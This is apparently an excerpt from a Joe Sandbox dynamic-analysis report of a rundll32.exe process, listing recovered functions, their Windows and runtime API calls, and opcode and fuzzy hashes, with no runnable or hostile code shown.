Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d918dd2d3da65d92745b2e51313255094ec2bf63c06b8b8107b17d74aaffb6ea
Instruction ID: fc37addfe2f1973ad9ee054d23c0456d353d49d7bda4428ef55a67c177f7cf1f
Opcode Fuzzy Hash: d918dd2d3da65d92745b2e51313255094ec2bf63c06b8b8107b17d74aaffb6ea
Instruction Fuzzy Hash: 8251AD72A04606AFEB29AF10D940BEA77A5EF94716F14452DD8C287290F731B9C1DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BD934 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6D4BD981

Part of subcall function 6D4BE223: InitializeSListHead.KERNEL32(6D4D6870,6D4BD98B,6D4D41A8,00000010,6D4BD91C,?,?,?,6D4BDB44,?,00000001,?,?,00000001,?,6D4D41F0), ref: 6D4BE228

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(6D4D11E4,6D4D11EC,6D4D41A8,00000010,6D4BD91C,?,?,?,6D4BDB44,?,00000001,?,?,00000001,?,6D4D41F0), ref: 6D4BD99A
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(6D4D1178,6D4D11E0,6D4D41A8,00000010,6D4BD91C,?,?,?,6D4BDB44,?,00000001,?,?,00000001,?,6D4D41F0), ref: 6D4BD9B8
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6D4BD9EB

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 590286634-0
Opcode ID: f8a5f90911c0e59de24b51e8dcc72233e2994f241bf24d1948cfd7055efeeb31
Instruction ID: 503d1fa7618c703e4e3af3f35410c24faa215fe19a2e926e9a73532446b0ce0d
Opcode Fuzzy Hash: f8a5f90911c0e59de24b51e8dcc72233e2994f241bf24d1948cfd7055efeeb31
Instruction Fuzzy Hash: 74219F3164C2469ADB04EBF49850FAD37606BBA26CF2500EDD692A7282DB315D0186F5

Uniqueness

Uniqueness Score: -1.00%

Function 046A26F0 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32([Rename],00000000,00000000,00000000,00000000,?,046A2A64,00000000), ref: 046A2706
lstrlenA.KERNEL32(00000000,?,046A2A64,00000000), ref: 046A270B
lstrlenA.KERNEL32(00000000,?,046A2A64,00000000), ref: 046A2741

Strings

[Rename], xrefs: 046A26FF

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: lstrlen
String ID: [Rename]
API String ID: 1659193697-582330332
Opcode ID: 84dc27fdd282b29af20e565c09c78648c855ce277d8a7a27085c7d84a1c32e23
Instruction ID: e80ab78a1a5c6da5a44bd60e314629e5781a0a293604220cbe77c082c83304f2
Opcode Fuzzy Hash: 84dc27fdd282b29af20e565c09c78648c855ce277d8a7a27085c7d84a1c32e23
Instruction Fuzzy Hash: 1DF0D139649B11ABC305DF28AC5097ABBD9EF89250F180469F840C3300FA25ED148BF6

Uniqueness

Uniqueness Score: -1.00%

Function 046B39E5 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000000F,00000400,?,?,?,?,00000000,00000000,?,?,?,046AAA57,?,00000000,?,00000000), ref: 046B3A02
GetLastError.KERNEL32(?,?,?,046AAA57,?,00000000,?,00000000,00000000), ref: 046B3A0E
WideCharToMultiByte.KERNEL32(0000000F,00000000,?,?,?,?,00000000,00000000,?,?,?,046AAA57,?,00000000,?,00000000), ref: 046B3A34
GetLastError.KERNEL32(?,?,?,046AAA57,?,00000000,?,00000000,00000000), ref: 046B3A40

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: de4f787cb2d63a57de804143935b8e3b146d50ae8fec4a9e594dc5ca937e3045
Instruction ID: 81a82f3941ccf4588c67ca386d8cc758a1fd799bda3067be4c2b32c25d11856f
Opcode Fuzzy Hash: de4f787cb2d63a57de804143935b8e3b146d50ae8fec4a9e594dc5ca937e3045
Instruction Fuzzy Hash: 2301C236700155BB8F221E95DC08C9B3E6BEFD9BA1B104015FE4595360EA31D8A2EBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BD2E9 Relevance: 6.0, APIs: 4, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(6D4B2519,?,6D4B2519,00000000), ref: 6D4BD2F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(6D4B2519,?,6D4B2519,00000000), ref: 6D4BD2FE
_CxxThrowException.VCRUNTIME140(?,6D4D420C), ref: 6D4BDC76
_CxxThrowException.VCRUNTIME140(?,6D4D42C8), ref: 6D4BDC93

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmalloc
String ID:
API String ID: 4113974480-0
Opcode ID: 99316232625e1f460d8ee1b3b0574c7a770237a0e238263cc730637bdb805375
Instruction ID: dc9fbad7e03f094e21081f1a7b4d5177f983f273b693b7aa1b4ebfc36ab3a223
Opcode Fuzzy Hash: 99316232625e1f460d8ee1b3b0574c7a770237a0e238263cc730637bdb805375
Instruction Fuzzy Hash: E0F0BB3480810D76CB08E6F4E954DAD337C5A60154B1046B8AE26D14D5EB70DE15C5F4

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B2BC3 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6D4BA758,6D4B98AC,?,?), ref: 6D4B2BD4
_invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6D4BA758,6D4B98AC,?,?), ref: 6D4B2BDE
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6D4BA758,6D4B98AC,?,?), ref: 6D4B2BF0
memcpy.VCRUNTIME140(00000000,00000000,?,?,?,6D4BA758,6D4B98AC,?,?), ref: 6D4B2C00

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfomemcpy
String ID:
API String ID: 2912778842-0
Opcode ID: 022612659332da033de00a4468cbccf94c7e574877408c99aed76782b42453e9
Instruction ID: ca006f48a5d2e2fd399c277cc37c99f781c3738b22bc4b5308d2542e12447af7
Opcode Fuzzy Hash: 022612659332da033de00a4468cbccf94c7e574877408c99aed76782b42453e9
Instruction Fuzzy Hash: 83F0823150C31AAEDB31AE989C80FEA3768AB24794F01482AFA1485180DF718D909FF3

Uniqueness

Uniqueness Score: -1.00%

Function 046CD616 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,046CCFEC,?,00000001,?,?,?,046CBE9B,?,?,00000000), ref: 046CD62D
GetLastError.KERNEL32(?,046CCFEC,?,00000001,?,?,?,046CBE9B,?,?,00000000,?,?,?,046CC422,?), ref: 046CD639

Part of subcall function 046CD5FF: CloseHandle.KERNEL32(FFFFFFFE,046CD649,?,046CCFEC,?,00000001,?,?,?,046CBE9B,?,?,00000000,?,?), ref: 046CD60F

___initconout.LIBCMT ref: 046CD649

Part of subcall function 046CD5C1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,046CD5F0,046CCFD9,?,?,046CBE9B,?,?,00000000,?), ref: 046CD5D4

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,046CCFEC,?,00000001,?,?,?,046CBE9B,?,?,00000000,?), ref: 046CD65E

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0b1af54bd10d738a575fa970b0ca7339ab241341e889591d0dcf760ac25ff08d
Instruction ID: 011e27ea18e52fc6b9fc8b11052b3507d1c38f8e1165131cc66653d287eb3662
Opcode Fuzzy Hash: 0b1af54bd10d738a575fa970b0ca7339ab241341e889591d0dcf760ac25ff08d
Instruction Fuzzy Hash: F3F03036601164FBCF262FD2EC04EAE3F66FF082A0F084024FA19C6520E6329D20DB90

Uniqueness

Uniqueness Score: -1.00%

Function 046A1AE2 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,046A1DA0,?,00000000,?,?,?,?,?,?,?,?,?,046A1447), ref: 046A1AF0
GetTickCount.KERNEL32 ref: 046A1B0E
CreateDialogParamW.USER32(0000006F,00000000,046A1A42,00000000), ref: 046A1B2D
ShowWindow.USER32(00000000,00000005,?,00000000,?,?,?,?,?,?,?,?,?,046A1447), ref: 046A1B3B

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: f839b1a7a7fc83ec2e47e904a97250014061ab20a6f1ae26c89d4a0ac3816b8b
Instruction ID: d9c05d76c1d54f570c26cea9a18749a313f23a7ec3885223ccd647af2975d0d8
Opcode Fuzzy Hash: f839b1a7a7fc83ec2e47e904a97250014061ab20a6f1ae26c89d4a0ac3816b8b
Instruction Fuzzy Hash: F4F08C30742601EBEF248B51EA1EBF536A5E721B02F411014B20B991C0FA7CACA8CE00

Uniqueness

Uniqueness Score: -1.00%

Function 046B4655 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,046B45F2,00000064), ref: 046B4678
LeaveCriticalSection.KERNEL32(046E0678,?,?,046B45F2,00000064,?,?,046B02DB,046E00F8,?,?,00000000), ref: 046B4682
WaitForSingleObjectEx.KERNEL32(?,00000000,?,046B45F2,00000064,?,?,046B02DB,046E00F8,?,?,00000000), ref: 046B4693
EnterCriticalSection.KERNEL32(046E0678,?,046B45F2,00000064,?,?,046B02DB,046E00F8,?,?,00000000), ref: 046B469A

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 482461a2d66fb710252d5564fdf978be9152ce0e552f486926b486a178c3d92a
Instruction ID: a52995fbb4abfc382f546483a46f6cf5581992b3dfb6a4bf40dd8228c9fed989
Opcode Fuzzy Hash: 482461a2d66fb710252d5564fdf978be9152ce0e552f486926b486a178c3d92a
Instruction Fuzzy Hash: 54E09231782234EBCB011FA1EC09BBA3F59EB45712B045011F909B6191FBA56C108FD4

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BD7DD Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,6D4BD77A,00000064), ref: 6D4BD800
LeaveCriticalSection.KERNEL32(6D4D651C,?,?,6D4BD77A,00000064,?,?,?,6D4A175A,6D4D6888,?,?,6D4A1008), ref: 6D4BD80A
WaitForSingleObjectEx.KERNEL32(?,00000000,?,6D4BD77A,00000064,?,?,?,6D4A175A,6D4D6888,?,?,6D4A1008), ref: 6D4BD81B
EnterCriticalSection.KERNEL32(6D4D651C,?,6D4BD77A,00000064,?,?,?,6D4A175A,6D4D6888,?,?,6D4A1008), ref: 6D4BD822

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 56b5a6f8de77df1f45444772835c2918449b6e621ac919e756145a0dd19f6a8e
Instruction ID: dcf4605667f6c69f68a37380f86fff8d24f6e80fdc42bf1e10d78c205cc0b506
Opcode Fuzzy Hash: 56b5a6f8de77df1f45444772835c2918449b6e621ac919e756145a0dd19f6a8e
Instruction Fuzzy Hash: 38E01231541568ABCF123BA4ED28FAE3F78EB07655B440051FE0A66119C7369D918FE1

Uniqueness

Uniqueness Score: -1.00%

Function 046B0A20 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 267COMMON

Download Yara Rule

APIs

Part of subcall function 046AAF40: std::locale::_Init.LIBCPMT ref: 046AAFF8

std::locale::_Init.LIBCPMT ref: 046B0ABB

Part of subcall function 046B332F: __EH_prolog3.LIBCMT ref: 046B3336
Part of subcall function 046B332F: std::_Lockit::_Lockit.LIBCPMT ref: 046B3341
Part of subcall function 046B332F: std::locale::_Setgloballocale.LIBCPMT ref: 046B335C
Part of subcall function 046B332F: _Yarn.LIBCPMT ref: 046B3372
Part of subcall function 046B332F: std::_Lockit::~_Lockit.LIBCPMT ref: 046B33B2

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 046B0DAE

Strings

0, xrefs: 046B0B63

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: std::locale::_$InitLockitstd::_$H_prolog3Ios_base_dtorLockit::_Lockit::~_SetgloballocaleYarnstd::ios_base::_
String ID: 0
API String ID: 2751663797-4108050209
Opcode ID: 39714f7c290d05bd8f2d10c8782f8552805738a82cbab87ba70db29c9cfa2619
Instruction ID: a962c0c4edf44193236578ffd1af2767b8589d00eec13a86c9797c808a8ccbb9
Opcode Fuzzy Hash: 39714f7c290d05bd8f2d10c8782f8552805738a82cbab87ba70db29c9cfa2619
Instruction Fuzzy Hash: 16B17F71A012189FDB24CF68C884BDEBBF5BF45304F244199D589AB381EB71AA85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 046BD18D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 046BD21D

Strings

pow, xrefs: 046BD1F5, 046BD212

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 62ace3430c612db661f793a3a76f81de566e7411a98d29df83bbb472a153b74e
Instruction ID: 79f7c4d9c593ece5f8cd841960808eafdd8fdcf70915d2bca278d5582abdc89b
Opcode Fuzzy Hash: 62ace3430c612db661f793a3a76f81de566e7411a98d29df83bbb472a153b74e
Instruction Fuzzy Hash: 3E517A61E0920286EB11FB54C9603BE6BA4DB50750F249D5CE4D54A39CFF38E8E19BCA

Uniqueness

Uniqueness Score: -1.00%

Function 046B7E77 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 046B7E9C

Strings

RCC, xrefs: 046B7EB6
MOC, xrefs: 046B7EAE

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 4a8327551c5fb3bf5f06e12141686d7b331b1234c14fa45951ae29130d438f38
Instruction ID: f330506d67a6ebba145ce6f44a62e0c1023dc123f3ea9daee8979298366ef56d
Opcode Fuzzy Hash: 4a8327551c5fb3bf5f06e12141686d7b331b1234c14fa45951ae29130d438f38
Instruction Fuzzy Hash: B8417C71900109EFDF15CF94CD80AEEBBB5FF88309F148559FA44A7250E335A991DB94

Uniqueness

Uniqueness Score: -1.00%

Function 046A5D16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 046A5D4A
CallWindowProcW.USER32(?,?,?,?), ref: 046A5D95

Part of subcall function 046A514F: SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 046A515E

Strings

, xrefs: 046A5D2B

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: e3cde94e71fdc54b98031b4b1e1f2b0d5356bf81633ed0ba43df15607842b295
Instruction ID: fa48ffd1e2e137fd13c8bbec6f4a3c47dcbaaa7642c47b8ebfe041c74603b2bf
Opcode Fuzzy Hash: e3cde94e71fdc54b98031b4b1e1f2b0d5356bf81633ed0ba43df15607842b295
Instruction Fuzzy Hash: 2201D471700648BFEB20FE61D8089AA3766EB94364F044437F90782240EB35ACA2DFD9

Uniqueness

Uniqueness Score: -1.00%

Function 046AB510 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 046AB518
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 046AB55C

Part of subcall function 046B342F: _Yarn.LIBCPMT ref: 046B344E
Part of subcall function 046B342F: _Yarn.LIBCPMT ref: 046B3472

Strings

bad locale name, xrefs: 046AB56B

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 8bc68d184033a865de5b1413a52c0bc6843cd530272d17509620c361d1618dbc
Instruction ID: 3e418f6d0ef4101c1f9f7a375e4f33bee8164d841ad05484815c19acaa89d469
Opcode Fuzzy Hash: 8bc68d184033a865de5b1413a52c0bc6843cd530272d17509620c361d1618dbc
Instruction Fuzzy Hash: 69F04960201B809EE330DF7A8814743BEE4AF29614F044A1DD9CAC7B41E375F5888BE9

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B2A77 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 6D4B2ACA: memset.VCRUNTIME140(?,00000000,00000018,?,?,6D4B2A7F,?,6D4A1368), ref: 6D4B2AD7

Part of subcall function 6D4A1470: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000), ref: 6D4A1488
Part of subcall function 6D4A1470: GetLastError.KERNEL32 ref: 6D4A1492

IsDebuggerPresent.KERNEL32(?,?,?,6D4A1368), ref: 6D4B2AAA
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,6D4A1368), ref: 6D4B2AB9

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 6D4B2AB4

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionStringmemset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 4206453544-631824599
Opcode ID: 50946eea625f7eeec3ab116f3c3fdd4018e846ac018af737c1dccfe383519a34
Instruction ID: 954e7398cc57020af90c1e6ccc04cd9fed48a044e08bb71ccd9b160157ca1db6
Opcode Fuzzy Hash: 50946eea625f7eeec3ab116f3c3fdd4018e846ac018af737c1dccfe383519a34
Instruction Fuzzy Hash: FAE039702047418BD771EF29D454B627AE0AB5A718F18881DE98AC2604DB75DC448BA1

Uniqueness

Uniqueness Score: -1.00%

Function 046B02EE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 046B0316

Part of subcall function 046B4583: EnterCriticalSection.KERNEL32(046E0678), ref: 046B458D
Part of subcall function 046B4583: LeaveCriticalSection.KERNEL32(046E0678), ref: 046B45C0
Part of subcall function 046B4583: RtlWakeAllConditionVariable.NTDLL ref: 046B4637

Strings

1.28.763.1, xrefs: 046B02FE
1.28.763.1, xrefs: 046B02EE

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CriticalSection$ConditionEnterInit_thread_footerLeaveVariableWake
String ID: 1.28.763.1$1.28.763.1
API String ID: 3840055341-2560111419
Opcode ID: 3a52acdedbd1e2ce09a266f0e8173785e8ca2d9e86e645d16e335d5296f48e57
Instruction ID: 66bdfad90606ea46d55ac11b526d0f9347c503d2ca0a5c49edb6cee8f0483383
Opcode Fuzzy Hash: 3a52acdedbd1e2ce09a266f0e8173785e8ca2d9e86e645d16e335d5296f48e57
Instruction Fuzzy Hash: 77C01216EA274151A708B790EC111B42260D94560C304A60A654146141FA5669D8979E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 4296, Parent PID: 5668COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1064
Total number of Limit Nodes:	66

Executed Functions

Function 045E1130 Relevance: 119.7, APIs: 51, Strings: 17, Instructions: 660
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008001), ref: 045E1167
GetVersion.KERNEL32 ref: 045E116D
lstrlenA.KERNEL32(UXTHEME), ref: 045E11A4
#17.COMCTL32 ref: 045E11E4
OleInitialize.OLE32(00000000), ref: 045E11EB
